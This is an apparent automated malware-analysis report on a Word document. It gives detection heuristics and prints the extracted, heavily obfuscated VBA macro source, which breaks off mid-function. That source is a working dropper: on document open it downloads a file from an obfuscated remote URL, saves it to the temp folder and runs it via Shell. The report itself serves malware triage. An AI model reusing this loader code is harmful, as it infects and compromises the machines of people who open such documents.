Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2e433395577bd3ec…

MALICIOUS

Office (OLE)

174.0 KB Created: 2018-04-30 22:14:00 Authoring application: Microsoft Office Word First seen: 2019-01-25
MD5: ccacd20097ff98f929ed60e00ae4def9 SHA-1: 4c3081a0c6a01bd5318b495837e6087a512c5b5c SHA-256: 2e433395577bd3ec99e744051dda95c52cdeaa75e09b25152319ab0dabfb000f
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize CreateObject and Shell calls, and are designed to download and execute a second-stage payload from an external source. The ClamAV detection 'Doc.Dropper.Emodldr-6755244-0' further supports its nature as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (ROgmfmC), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            aOjaLrp = gZoXfq.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Shell (ROgmfmC), 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set gZoXfq = CreateObject(jwTZQHvT("Mbi?cIrdoEsOoafGt%.nXIMbLZHuTsT&PU"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34062 bytes
SHA-256: 4c3423ff9b3b0ff03fd156b163bc84b3fcc378b3f092582dd1e899b3cb4f104d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
345 of 535 identifiers look randomly generated (e.g. 'ZCgGATmqPtJPLmRFcTAlujvLtKlMBtCTV') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function GPYccO(nhLovED As Boolean, VUPdXJ As Integer, jnPLTr As Boolean) As String
    XCTGRjq = UCase("l@taUgOIaoM.")
    xVQwMf = 1548 + 1509 + 352
    xVQwMf = StrReverse("w%boJAdr^Igmr_)%m&")
    LMQAPWKq = 1418 + 1298 + 162
    HFGMTW = 1310 - 606 - 282
    iFxMfk = Left("rA*EcOh%oZv", 3)
    HFGMTW = UCase("PT[i(W#O[*-WrgNr_dF^")
    xVQwMf = Left("krFf_uKkBE^jV( H.", 3)
    orLOOKQT = 1829 - 874 - 1433
    HFGMTW = StrReverse("G_*(QG@BpZv i!!")
    xVQwMf = 131 + 1895 + 192
    XNUMlD = Space(10)
    LMQAPWKq = Right("Uro[dYfTwymdRV]a]s", 2)
    XCTGRjq = Space(19)
    XNUMlD = Left("UuCx^x@W#xP-&QOnl", 4)
    WXmCCea = RTrim("HUhA&XWGP*inNx q&BO")
    iFxMfk = StrReverse("G_$ p_UTh)LnxQ-")
    XCTGRjq = RTrim("o  yPxsJtgf")
    McNvVAhL = Left(" r^WTnH!LHmdnbz^#", 3)
    HFGMTW = Right("tfuSsLWegLZuP&Xh.$T]", 3)
    XNUMlD = StrReverse("[x&Tw%SSl]#iBc")
    McNvVAhL = 475 - 1899 - 695
    McNvVAhL = LTrim(". ?x!lum^nkC*")
    GPYccO = "JWHZnVZADVySQbICdeqrcoe"
End Function

Private Sub WoMCjS(OjzEaIp As Double)
    HFGMTW = UCase("nPG!NrSwOO$bL#fsr")
    While jaRtOF < 75
        McNvVAhL = LTrim("V.qBZBjG^go")
        iFxMfk = Left("vTpZlRTXWBl(", 4)
        orLOOKQT = UCase("TOOrNZzSzpb")
        HFGMTW = LTrim("SbH(B$fgBhMER*Sofc%")
        XCTGRjq = "j%xqPe-w^])-M" + "%ieEgLb$nK" + "xvFZz&Oe%]QS[sGGV"
        WXmCCea = Space(3)
        jaRtOF = jaRtOF + 1
    Wend

    XCTGRjq = Right("tLnoXh)&iaOuiO", 5)
    WXmCCea = 1690 - 1644 - 805
    XCTGRjq = RTrim("U gZ.Zz!p%")
    McNvVAhL = Right("zOgR._xH%(c!zU", 3)
    dIRQn = LTrim("LQ_X#p $t^ol")
    xVQwMf = Right("pYWE@?U%J%it", 3)
    orLOOKQT = 1699 + 1091 + 1841
    xVQwMf = LTrim("&ZlC%A-Eg@)@GgZwRS")
    XNUMlD = LTrim("EKZ$HR]Lp&*adCk")
    For sNMCsh = 0 To 126
        WXmCCea = Left(")*.a fT?wef*J", 4)
        XNUMlD = UCase("DCzz@cAJgRGmYuV-")
        xVQwMf = Right("m rOeFaJf.b", 3)
        dIRQn = LTrim("AzQ$^wM^LI")
        HFGMTW = UCase("A)wo])LLxFK&Ak oyK")
        WXmCCea = UCase("%H]m&.Z&YZYp^ ^v*ie")
        iFxMfk = UCase("C*c$y]AJ@fuf[ej")
        WXmCCea = "vK*cN^-(d%[a?W(DgfU" + "Gqtw!ivx OzBNc*il" + "EzPz&[tzV!txU^^h_Z"
    Next sNMCsh

    LMQAPWKq = Left("vEr iM&MFi", 5)
    McNvVAhL = 1025 + 1602 + 647
    WXmCCea = "skEoXPBEPgzHgd^A" + "?wmwoktbEIt.-Bn" + "Lm_dMeDGk$"
    For LzZiGx = 0 To 379
        XNUMlD = 1014 - 1728 - 1817
        WXmCCea = Space(10)
    Next LzZiGx

    XNUMlD = Left("G If^g?FOs!KV", 3)
    LMQAPWKq = UCase("Tm]Pzsmw*.d!NW")
    WXmCCea = UCase("#BzkiI.uRViv #")
    WXmCCea = StrReverse("OaGwUki%hD")
    HFGMTW = 1413 + 1722 + 805
    WXmCCea = StrReverse("cXH!SaWlmE")
    iFxMfk = UCase("O_tVIZLoFuyX&cyhYC")
    XCTGRjq = Right("U(%o(q!J)l^H", 2)
    While VRwzTq < 268
        dIRQn = Left("jvP%gbg#KK", 4)
        HFGMTW = UCase("vl[HW!jkivge!zZ")
        orLOOKQT = 1115 - 1864 - 904
        XNUMlD = LTrim("$f-D* &LXKVp^O#m&")
        VRwzTq = VRwzTq + 2
    Wend

    HFGMTW = 1285 - 1704 - 572
    LMQAPWKq = 288 + 1338 + 327
    orLOOKQT = Right("F-gtsB^m^RH", 2)
    iFxMfk = Right("c?K*wg%XuawYd*ohaMK@", 4)
    iFxMfk = 1876 - 234 - 1819
End Sub

Private Sub RuFKmtI(ROgmfmC As String, FgFHhZZ As String, KbajuYv As String, xOYOMRb As String, JmBVjg As String)
    LMQAPWKq = 1421 - 975 - 354
    LMQAPWKq = RTrim(")QJDdnfzM%ijgAnV[F")
    XNUMlD = 554 + 1338 + 329
    For tiosVs = 0 To 382
        McNvVAhL = 1304 - 1077 - 1426
        WXmCCea = 1988 - 728 - 1064
        HFGMTW = LTrim("U*GH#G(svTlq#UU")
        orLOOKQT = RTrim("YXV%neD&iAvKzC@KC.)G")
        McNvVAhL = "JbZPJm^u??amQkldN" + "JJ?z?]MMMb?" + "qH$SPcusEHJXuBe]tO"
        LMQAPWKq = UCase("h?HCaDI)Gj%")
        dIRQn = RTrim("(gd[LHCcBBkX-wjZF[w")
        WXmCCea = StrReverse("fiNLkII(#Nm")
        McNvVAhL = Left("%UkDuG&PMUT *mPCX", 2)
        HFGMTW = RTrim("b!S oX-KDheH[&.%")
    Next tiosVs
    LMQAPWKq = LTrim("!Izud_bKXNWj%Y")
    WXmCCea = 1694 - 1282 - 1191
    orLOOKQT = Left("LE-!NsQsR_pfy#", 5)
    HFGMTW = Left("NxJyoamIHfLqr", 4)
    McNvVAhL = Space(19)
    HFGMTW = StrReverse("LIUXb#(cm*Zv?")
    While iGVOUw < 183
        xVQwMf = UCase("I%$ph-^BnYtYYA%.")
        XNUMlD = RTrim("bbOOPBhMn.$")
        xVQwMf = RTrim("lRWhOydEUDsn.gCzR")
        orLOOKQT = Space(2)
        dIRQn = Space(2)
        HFGMTW = LTrim("CbVLggoRdz")
        xVQwMf = RTrim("qzJfAH#qTtYPRUXIBFU*")
        iGVOUw = iGVOUw + 3
    Wend
    XCTGRjq = RTrim("AtUkZfl!*lY$-Vw")
    XNUMlD = RTrim("WU!& I*x J")
    For ZjywPD = 0 To 247
        WXmCCea = RTrim("tGGy?wAzVb")
        HFGMTW = Space(16)
    Next ZjywPD
    orLOOKQT = "Idpkfl&MQushR" + "EWEohJHU$&" + "HLgqTDZAX&@lsID"
    Shell (ROgmfmC), 0
    dIRQn = Space(3)
    HFGMTW = UCase("Nv)LhhFOWJ[Hw^MnH")
End Sub

Private Sub fUMqPe(KRdAUr As Double)
    LMQAPWKq = "Bs]-mTVDH^ub*%AmF" + "Un$I!MHgIqm-JU" + "MnrZvL$XBtC?b"
    LMQAPWKq = StrReverse("VocGQ*IcH($wj")
    LMQAPWKq = "pE&CH?JaETf]hVq" + "EUy[hAGP]iuZ#JveYJ" + "Gm[b#VD&hPV#"
    orLOOKQT = Left("EiVs(eneGxjQ%-s", 2)
    XCTGRjq = 1783 + 750 + 1226
    XNUMlD = Right("a$^i HvicwVn", 4)
    orLOOKQT = Left("^TeprHYxNt-?zewxHXiP", 2)
    iFxMfk = " K(VU_ocRDJ^oLXQ.^T$" + "%R vIyWJVG-" + "xMWzbpyg!a.#USfShrxA"
    xVQwMf = RTrim("LEztsFh*.PxjFx Ohb")
    HFGMTW = Space(20)
    dIRQn = Right("$b.HsvkrXLhKX aFvfk", 4)
    HFGMTW = Right("NBMyIptrctufz%Bydkn", 5)
    While QaTFXo < 390
        HFGMTW = RTrim("hLe#.iSSAA^f(?")
        XNUMlD = 787 - 1698 - 1645
        LMQAPWKq = Right("h*E)J*#)HU", 4)
        dIRQn = Space(2)
        orLOOKQT = 1043 - 1936 - 1654
        xVQwMf = "*dS#%qVqqTVpQJI" + "dkC#VD!C^j[ilXYy" + "?sbABO.WKQO"
        QaTFXo = QaTFXo + 3
    Wend

    HFGMTW = RTrim("biXLWn-t?.@B@FiC?S")
    dIRQn = Space(10)
    iFxMfk = "ypr(@YSP$-qYm.tbQamT" + "V!)VwwOUrasfO" + "HpUaytjTc?TRdO"
    dIRQn = Right("U(bhCl[I)TuWksF-Z", 5)
    McNvVAhL = UCase("MYsbj%Qps v_QM")
    While cYylak < 60
        dIRQn = "-fwsWFzWqW" + "k.N]QTsAAbNbAnqf" + "LiIj)%ObNp.?OV"
        XNUMlD = 392 + 1611 + 1738
        XCTGRjq = 1568 - 1292 - 779
        cYylak = cYylak + 1
    Wend

    XCTGRjq = Left("tP&fBjd@hsx", 4)
    dIRQn = 1664 - 275 - 1656
    orLOOKQT = Space(17)
    iFxMfk = 1975 - 693 - 228
    McNvVAhL = 1072 - 1069 - 225
    McNvVAhL = 848 + 969 + 1373
End Sub

Private Sub dRcFkm(sHGtvIC As Boolean, JYTfcwM As Double, VKzBCfN As Double, jfNnfAa As String, ZAsMHJz As Double)
    iFxMfk = Space(17)
    WXmCCea = RTrim("]myyp&H]?aA-")
    XNUMlD = 740 + 328 + 1375
    XNUMlD = Left("wo?NQ?mI[uoNrC@", 3)
    McNvVAhL = RTrim("Q)h##IjoaO!n)wCV&")
    McNvVAhL = 670 - 777 - 414
    While jdNtju < 264
        dIRQn = 984 + 566 + 1431
        LMQAPWKq = 399 + 711 + 859
        orLOOKQT = 870 - 504 - 1519
        McNvVAhL = RTrim("Fu&@AFK(kMaNY&oS")
        xVQwMf = UCase("rBiqraFkGt@GcK#!$!")
        XCTGRjq = StrReverse("BcuvtdvPDkXRD@FJ")
        jdNtju = jdNtju + 2
    Wend

    XNUMlD = Space(20)
    McNvVAhL = Right("_ _T?jlBdmi^Rsmb.F$", 2)
    XNUMlD = Space(12)
    XCTGRjq = RTrim("i_iQ[DzG$RVFi%od")
    orLOOKQT = Right("bz*MENECWGYDZaNV", 4)
    HFGMTW = Right("edNuzVevnVD", 2)
    WXmCCea = 989 + 1713 + 426
    iFxMfk = Right("&JOF._UvXy]mu#jUg##A", 5)
    xVQwMf = RTrim("TzzmC^$ClElSuY")
    For tKbLjY = 0 To 288
        xVQwMf = Right("GVwL(sjDqyFk@jmOd(", 2)
        XNUMlD = RTrim("CUhgx?v*KrEq")
        XNUMlD = Left("@vH%sTC(DGOjMzjCU#nh", 2)
        orLOOKQT = LTrim("oB^zlM?Wogya")
        LMQAPWKq = LTrim("XV#QyHMD@zmsxLjCHNIk")
    Next tKbLjY

    XNUMlD = LTrim("UvBcFmsWld%)D?x")
    xVQwMf = 1066 - 962 - 1568
    iFxMfk = StrReverse("u!%tp.WIiU&)Zh")
    orLOOKQT = Space(19)
    xVQwMf = Space(17)
    XCTGRjq = Space(17)
    McNvVAhL = StrReverse("K)mlk-itXhdq-TwA")
    HFGMTW = 1680 - 845 - 1351
    McNvVAhL = Right("q^^fIsIJwU", 2)
    WXmCCea = StrReverse("X&^hOV)gFg_OA ")
    iFxMfk = LTrim("tS(OGmnWy@WTCz_vv&y")
End Sub

Private Sub UpdiWp(PoRwfG As Integer, elQgaE As Boolean, yvuIhz As Integer, aURnkMG As String)
    For IjYJvI = 0 To 194
        LMQAPWKq = Right("$hCxSSk UyXC(P(", 2)
        xVQwMf = Right("DFGxa$n!nw%B", 3)
        XCTGRjq = 1871 + 858 + 1652
        xVQwMf = Right("KrvMLda?!q@tL!rc..", 3)
        iFxMfk = UCase("uSjIzjD*r!eOEa&evumv")
        McNvVAhL = LTrim("xwRER^a-CMc]")
        xVQwMf = "..DyCXL)m-raN!Yvy" + "!VDnDaB]Wgup" + "vYJ_ybcUv.@hHYhYP*yb"
        dIRQn = Right("@ PUkvJHEPS-&rgn%E] ", 5)
    Next IjYJvI

    LMQAPWKq = StrReverse("rmYy(k.WP)k Y")
    HFGMTW = LTrim("aNmzL&Y]_R#g$z")
    XCTGRjq = "JJkA]wa*s&z@xY)]cTp" + "tCn]Y nGgl" + "!K.WhkLnzV*Q#u[$H^Vn"
    xVQwMf = LTrim("CepezLGdE IOGnvKZw")
    WXmCCea = "JvVtDlvz[ GlU" + "V@s%i$*_PNHr.de" + "ayFFv%%g(SRj"
    xVQwMf = UCase("NZcQgvTo.bz.%jjX@b.")
    WXmCCea = 1795 + 300 + 1084
    xVQwMf = Right("CLhuzKnoWsTEl!%", 3)
    orLOOKQT = UCase("b@kHvFxwji^w")
    orLOOKQT = 368 + 1170 + 748
    McNvVAhL = Right("&Ws^W*oowdAVA ATuW", 4)
    xVQwMf = RTrim("iJ)FJhU t@Vy")
    orLOOKQT = UCase("hO$KdVu@^kn")
    While MRqTjl < 185
        McNvVAhL = RTrim("iz[fd)ldNe")
        LMQAPWKq = 1161 + 1177 + 1239
        HFGMTW = RTrim("cxnf?B]bQRxvuO_l.ST")
        xVQwMf = 1414 - 1839 - 1367
        dIRQn = "kZ.tAb_(-Yx!XB_p" + "ivR!IH[M -m-dgH]Y" + "?QiKr-pX*xc"
        orLOOKQT = Left("SLUaNg[lLy", 4)
        XCTGRjq = Right("?xYqkexI&B", 2)
        XCTGRjq = 111 - 852 - 1076
        MRqTjl = MRqTjl + 3
    Wend

    McNvVAhL = "XeX#gzRC)TM&GpD" + "G Ftc_kS&i]vDN" + "[pY.Bm_Z$EpWarFS-xk"
    dIRQn = Space(8)
    dIRQn = UCase("XCB A-**JiP.R.IchWDk")
    McNvVAhL = "vTpGE_i(TuH" + "IZLh^ rTUEnS" + "n^&$pqlQy&"
    LMQAPWKq = 438 - 1233 - 1671
    orLOOKQT = RTrim("&)AAjKSApkl[h_I@G")
    orLOOKQT = LTrim("?[nbNw%]u*Tl@jkWS")
    McNvVAhL = LTrim("St)QY$^ZkUWl")
    McNvVAhL = UCase("mEiSfy*jpw?x")
    WXmCCea = Right("cjyc&RbcT#E$.EP-@-qL", 2)
    XCTGRjq = RTrim("s]CMFaBqN#uXfY")
    LMQAPWKq = LTrim("Jzxlfxx!%bMWf")
    HFGMTW = Left("ythH&Qv gtm_YwcxQv", 2)
    XCTGRjq = Left("fQbb..-Vr_A", 3)
End Sub

Private Sub Document_Open()
    Dim NRSyWk As String
    NRSyWk = "cbmCdK.SeyxOez V/ucJ"
    NRSyWk = NRSyWk + "  r-uLnQdjl(l#3v2G.d"
    iFxMfk = 514 + 1630 + 315
    LMQAPWKq = StrReverse("DFNXaqY$oeQNuE.lGMYs")
    dIRQn = 1132 + 1525 + 137
    iFxMfk = LTrim("qk(EaDhosrn%")
    XCTGRjq = StrReverse("mKqYDbiTK%J??wVzCy")
    McNvVAhL = Right("VxO[-pMCWtX", 4)
    xVQwMf = StrReverse("[%Tn(arZAzZb&OH&XWSm")
    NRSyWk = NRSyWk + "eRxee_ osWh@eXlflV3e"
    HFGMTW = UCase("CpMM-h]%-Gb]!HeiFj?R")
    WXmCCea = RTrim("#@AKHNh)Tqc&")
    While lqEEUn < 121
        McNvVAhL = 673 - 1099 - 873
        HFGMTW = 1250 - 1752 - 145
        XNUMlD = Left("It$SlsQB!xsl", 3)
        WXmCCea = RTrim("[urTDANKJ(^(T%(eUm")
        XCTGRjq = "RVL!_YsO_DqposM?H" + "uzz&js]LwVVPU@ ?rhy" + "rijqhKsCvBuP?B^FZvyN"
        orLOOKQT = StrReverse("Rclrh!AiFw(Bj")
        lqEEUn = lqEEUn + 2
    Wend

    WXmCCea = StrReverse("bIgCDYfUxOPGxXSN.^#")
    HFGMTW = LTrim("Ng%k(tFwtnWmmdpC*Qu_")
    McNvVAhL = Space(3)
    NRSyWk = NRSyWk + "2l.sdZl]l[,yS_h-esl^"
    iFxMfk = LTrim("tC-kBynleOmKnqFA")
    While sOAeqh < 163
        LMQAPWKq = Left("fH*HRAAClF[tVuD.xKR", 5)
        XCTGRjq = UCase("_EHoyH$pRCtzfIv?XLWb")
        sOAeqh = sOAeqh + 3
    Wend

    HFGMTW = "gpierQY_wtt K" + "TttLf kB[hnQU" + "NfHXQFO(UlTXEtZow"
    McNvVAhL = "$Xih!mvZO^F." + "TadHDg ]kb$wP gsfj" + "S*pWw(TM*w"
    XCTGRjq = StrReverse("LVw_cQwY%ZWE")
    XNUMlD = RTrim(" NeS..hu&u")
    NRSyWk = NRSyWk + "loEVx)eMcv_KRhuEnwDG"
    iFxMfk = LTrim("drp$re%F xs")
    orLOOKQT = 621 + 1200 + 1180
    dIRQn = RTrim("GhrF])nw[xn(k-ZWjE")
    McNvVAhL = Left("R.w%qni?cLMar$xbwk", 4)
    NRSyWk = NRSyWk + "LjLC e%JtHe.mkp_%X\."
    McNvVAhL = Space(14)
    iFxMfk = UCase("?YQmzz(wddd$Vbdd")
    HFGMTW = RTrim("Bep-H)D@UB&BS")
    NRSyWk = NRSyWk + "\ mraVKEk@kCh..@e[xA"
    XNUMlD = LTrim("uP$oVuzR?b*k^lX_- ")
    orLOOKQT = Space(16)
    For tNUnrO = 0 To 215
        iFxMfk = "CRx.vip(Yle*rD^YB" + "fXhpRrthFzhxk!j_vS" + "%)Hl(Q^kal*]Fervx*"
        XCTGRjq = Right("]-J.JQtdE)esqzzYuV", 3)
        xVQwMf = RTrim("Iajd.r(gryb-gee?")
        XCTGRjq = "Z%JDn^.G!xw?R" + "COD_H#Z%T.OTP$io" + "*T _S%F.kjs-hV_szHi&"
        XCTGRjq = 185 + 601 + 1493
        orLOOKQT = "BQEvqeO?ysY@ T)_W" + "BjOwi)rrIS *[xZ" + "EGJYSfYUGxXt"
        LMQAPWKq = Right("KCVitR%qfI)hxo*j", 3)
        WXmCCea = 770 + 1687 + 996
        iFxMfk = " K(G@FPnD%[](ulTZCZO" + "?.f?ml#pgy(uFl%YqPGY" + "ZtdSk#g#x*mJqJ"
    Next tNUnrO

    iFxMfk = "wUo]Bu&XCpNs-" + "xOj-vTJIoQmt$TCFWEny" + "HJ&?iRovdfOIHV@uTyR"
    xVQwMf = RTrim("AuGTBZ?%yMIw]")
    HFGMTW = RTrim("r(j*qu?yQ( wu")
    NRSyWk = NRSyWk + "ea"
    HFGMTW = 1074 - 1393 - 636
    LMQAPWKq = LTrim("!A*HkH Y*tUxjxq")
    dIRQn = RTrim("&%vrdbd@@w]trN&l")
    XNUMlD = StrReverse("* %a_q&zkLFV?Ql")
    iFxMfk = Space(11)
    While QvnFyn < 222
        iFxMfk = StrReverse("-GQ[BbfsRkwskwqR")
        WXmCCea = "lctR%FIS$oQ(LH" + "RteMyU@KNli(" + "@!l%AwGIT?l_r"
        xVQwMf = Left("nrBdN(cxv%p*pwIo", 2)
        QvnFyn = QvnFyn + 1
    Wend

    HFGMTW = UCase("smzwAup$DMfA")
    orLOOKQT = Space(9)
    LMQAPWKq = StrReverse("$-EFvJrt#Tb&^mKc*R")
    LMQAPWKq = UCase("?y(hUmO*W^P? fw")
    iFxMfk = "gdrxIVvhkKpqcHO_Q#i" + "NFGAxfvxXX" + "qdBvnI^a[_w"
    For UwabDh = 0 To 304
        dIRQn = StrReverse("Cs?JQBWZctDSyw")
        iFxMfk = 1610 - 1792 - 1591
        XCTGRjq = UCase("pNY$t!*#yN]!PV")
        orLOOKQT = "_B[kltjAthScAwnP^vbg" + "S WTDgsdV)" + "Bia K!CVHh#-Pr%byzXe"
        McNvVAhL = RTrim("$UA)DxtmttIw&L")
        orLOOKQT = 286 + 1872 + 1119
        XNUMlD = StrReverse("S_z%bfwT]-K")
        orLOOKQT = StrReverse("]Qp.vH$Qt!*")
        orLOOKQT = RTrim("f.Ce[vdzdA")
    Next UwabDh

    WXmCCea = 1226 + 154 + 889
    XNUMlD = Space(2)
    iFxMfk = Left("^vmXbA#CJb^TAVtw@^E", 3)
    Dim gZoXfq, aPdkvTZK As Object
    XNUMlD = LTrim("Klqwtx_zl]fD%*hT")
    dIRQn = StrReverse("RKS.nVgob-QQG[DPl")
    While oFCSds < 302
        HFGMTW = 837 + 876 + 426
        HFGMTW = LTrim("(pf ZWjTMl!z-")
        WXmCCea = 648 + 1529 + 1291
        HFGMTW = RTrim("(nZdq  Hx[u")
        iFxMfk = RTrim("uut&!.*yYwnwJR")
        XCTGRjq = Space(2)
        HFGMTW = Space(1)
        XNUMlD = StrReverse("fcN[lMxvJfyE")
        WXmCCea = Space(20)
        LMQAPWKq = 287 - 1290 - 532
        oFCSds = oFCSds + 2
    Wend

    Set gZoXfq = CreateObject(jwTZQHvT("Mbi?cIrdoEsOoafGt%.nXIMbLZHuTsT&PU"))
    HFGMTW = Space(7)
    XCTGRjq = Space(11)
    LjRAqtK = jwTZQHvT("h!t%tdpn:k/&/f1X6%7?.c8I8d.]1_2^4c.u6P4O/hi^tJe$lieYxxea.velxxee")
    orLOOKQT = Space(13)
    McNvVAhL = Left("@b!tnJkhJjg(R", 5)
    xVQwMf = LTrim("VP)j@KfbSDI.C@dD@Vv")
    gZoXfq.Open "GET", LjRAqtK, False
    XNUMlD = RTrim("-@ljM%!mJ.b")
    XNUMlD = UCase("LWm[PWwca@UddSaXYU!")
    gZoXfq.send
    While yvrdSJ < 300
        dIRQn = StrReverse(".Jdcx-ZfJMsw$GNxJ")
        iFxMfk = UCase("dBcpvOY(m-pwHUz")
        LMQAPWKq = Left("EW$H!X_pnnb$P", 3)
        dIRQn = 711 + 1042 + 656
        yvrdSJ = yvrdSJ + 3
    Wend

    While pXysUv < 291
        McNvVAhL = LTrim("l sbkyieJ.q^Ki_b*")
        LMQAPWKq = 573 + 488 + 1521
        pXysUv = pXysUv + 1
    Wend

    XCTGRjq = StrReverse("eLx]DMrzvEftBE")
    If gZoXfq.Status = 200 Then
    While bRpQvS < 126
        LMQAPWKq = 1666 - 1824 - 1225
        iFxMfk = Left("h_dOfrg-h.VtY", 5)
        XNUMlD = LTrim("dTf**@lVjuL(")
        xVQwMf = Right("#O[bn^GprCxhjj$@Om", 5)
        orLOOKQT = Space(19)
        bRpQvS = bRpQvS + 1
    Wend

    HFGMTW = 1372 + 849 + 1734
        Set aPdkvTZK = CreateObject(jwTZQHvT("A@DpOID)BC.ASnt[rrekapm!"))
    WXmCCea = "fdvc)lZ(wd!B)SyR" + "l*SkK]vkDC[obECc_vs" + "[ONFRO]WtZeN#b]IfU)q"
    WXmCCea = Left("mU.ne ZNt]tk(zjK*mK", 3)
        aPdkvTZK.Open
    orLOOKQT = 904 + 711 + 840
    HFGMTW = Left(" CQG.jwZh)zta", 5)
    XNUMlD = UCase("OocSLkhl_qh.E")
        aPdkvTZK.Type = 1
    dIRQn = Left("X%ioESgFzG^EZBRhJ", 3)
    HFGMTW = "]#MEVutyLwl" + "BLUP(TxVzmB( BfGb" + "?lhU#(%?Ppw&U&"
    iFxMfk = 512 + 1944 + 1742
        aOjaLrp = gZoXfq.responseBody
    LMQAPWKq = Space(15)
    WXmCCea = UCase("gajSK%c@SR^YyU")
    orLOOKQT = UCase("T)cVMtQEO^IRYgX")
        aPdkvTZK.Write aOjaLrp
    WXmCCea = 656 + 878 + 1981
    orLOOKQT = Left("h@h]Pmx#bYfRM@SO^UR", 2)
    orLOOKQT = Right("DfqplW@bp Y[wre*", 5)
        Dim uymcuo As Object
    XCTGRjq = Left("aF(ofBK]NrOa-bO", 2)
    XCTGRjq = "Sgf^[[crGYLaaxxD$V" + "mAk.zPeYsT@%" + "#exE$(.mfI& otUgz-A"
        Set uymcuo = CreateObject(jwTZQHvT("sbcrr#iBptt%ibnqgu.ofRiOlxe-sIy]swtbeomdoDbPjLeZcStA"))
    For jxiMxR = 0 To 75
        HFGMTW = Space(18)
        LMQAPWKq = 1493 + 1373 + 539
        xVQwMf = "FQNo -MFzXo" + "qXDM*.m$p.No%rsxaq-" + "-qi#&hLnlNGG "
        XNUMlD = "twrN-o?.lM" + "Jdyh)jT&]^.R%-U*$Om$" + "RjvVc*@u&.%V#!Ui[Wh"
        XCTGRjq = 1144 - 510 - 836
        iFxMfk = RTrim("isQUf.NEGK#Q")
        orLOOKQT = Space(5)
        XCTGRjq = UCase("@@JREVA%(SfYfo$POW[A")
        iFxMfk = StrReverse("!dyUE&M)--pOxqwi&C")
    Next jxiMxR

    McNvVAhL = 1466 - 1023 - 1093
    WXmCCea = UCase("deIhFE-!BV-BDu-")
        mOHqInh = uymcuo.GetSpecialFolder(3 - 1)
    dIRQn = LTrim("hGmPYgyGKpkr")
    For olrYOu = 0 To 149
        McNvVAhL = 141 - 182 - 884
        WXmCCea = Space(14)
        XCTGRjq = Space(4)
        XNUMlD = "(e^az-r[qVMQ" + "IEAYsBXat.# Wo]" + "-D trAe^DkS?"
        LMQAPWKq = Space(15)
        WXmCCea = 139 + 886 + 1309
        WXmCCea = UCase("NFrThm!nk&-gWd^")
        LMQAPWKq = StrReverse(")$Ht$MfAkj.AY#ooa")
    Next olrYOu

    xVQwMf = RTrim("].(htM?[[fg$)&nNKsu*")
        Call aPdkvTZK.SaveToFile(mOHqInh & "\" & jwTZQHvT("mKaNKpk(kshQ.weyx eu"), 2)
    HFGMTW = "yp]kpYFVgyxsGdkaA#" + "YH_l*CI$AigeX" + "XKowoSIAmXh"
    xVQwMf = 1308 - 820 - 1680
        aPdkvTZK.Close
    HFGMTW = LTrim("IiV)aqbWpKQa@txA")
    iFxMfk = LTrim("xT$ytsUKyFYJkO")
    End If
    McNvVAhL = Left("YPT)gTW*oU(a", 4)
    LMQAPWKq = UCase("shMTeTwqxWcmK")
    While LTJTyy < 115
        orLOOKQT = StrReverse("Bg^kGOyMRcrOHkB")
        HFGMTW = Right("tJmVjId@$GgJFgL", 5)
        LTJTyy = LTJTyy + 3
    Wend


    LMQAPWKq = Right("WMLnytaguwuOqp", 2)
    XNUMlD = Left("oDA WAgC.GXpy?Ji!", 5)

    While IcvOjq < 388
        xVQwMf = Space(9)
        XNUMlD = UCase("M#YdzffiYwBv")
        XCTGRjq = Left("su&#)qCR^h]X$!zp", 3)
        WXmCCea = 651 - 289 - 519
        LMQAPWKq = 1607 - 1939 - 699
        XNUMlD = UCase("wO! vZkwj.[us.(")
        HFGMTW = Left("mi.YX$^$qL?", 3)
        dIRQn = Space(15)
        McNvVAhL = Left("lKTm! xLAYDDOKi@R", 4)
        iFxMfk = RTrim("?!TY(dHN*[r?u!@JvW")
        XCTGRjq = RTrim("E.ggPBIkt?")
        If IcvOjq = 301 Then
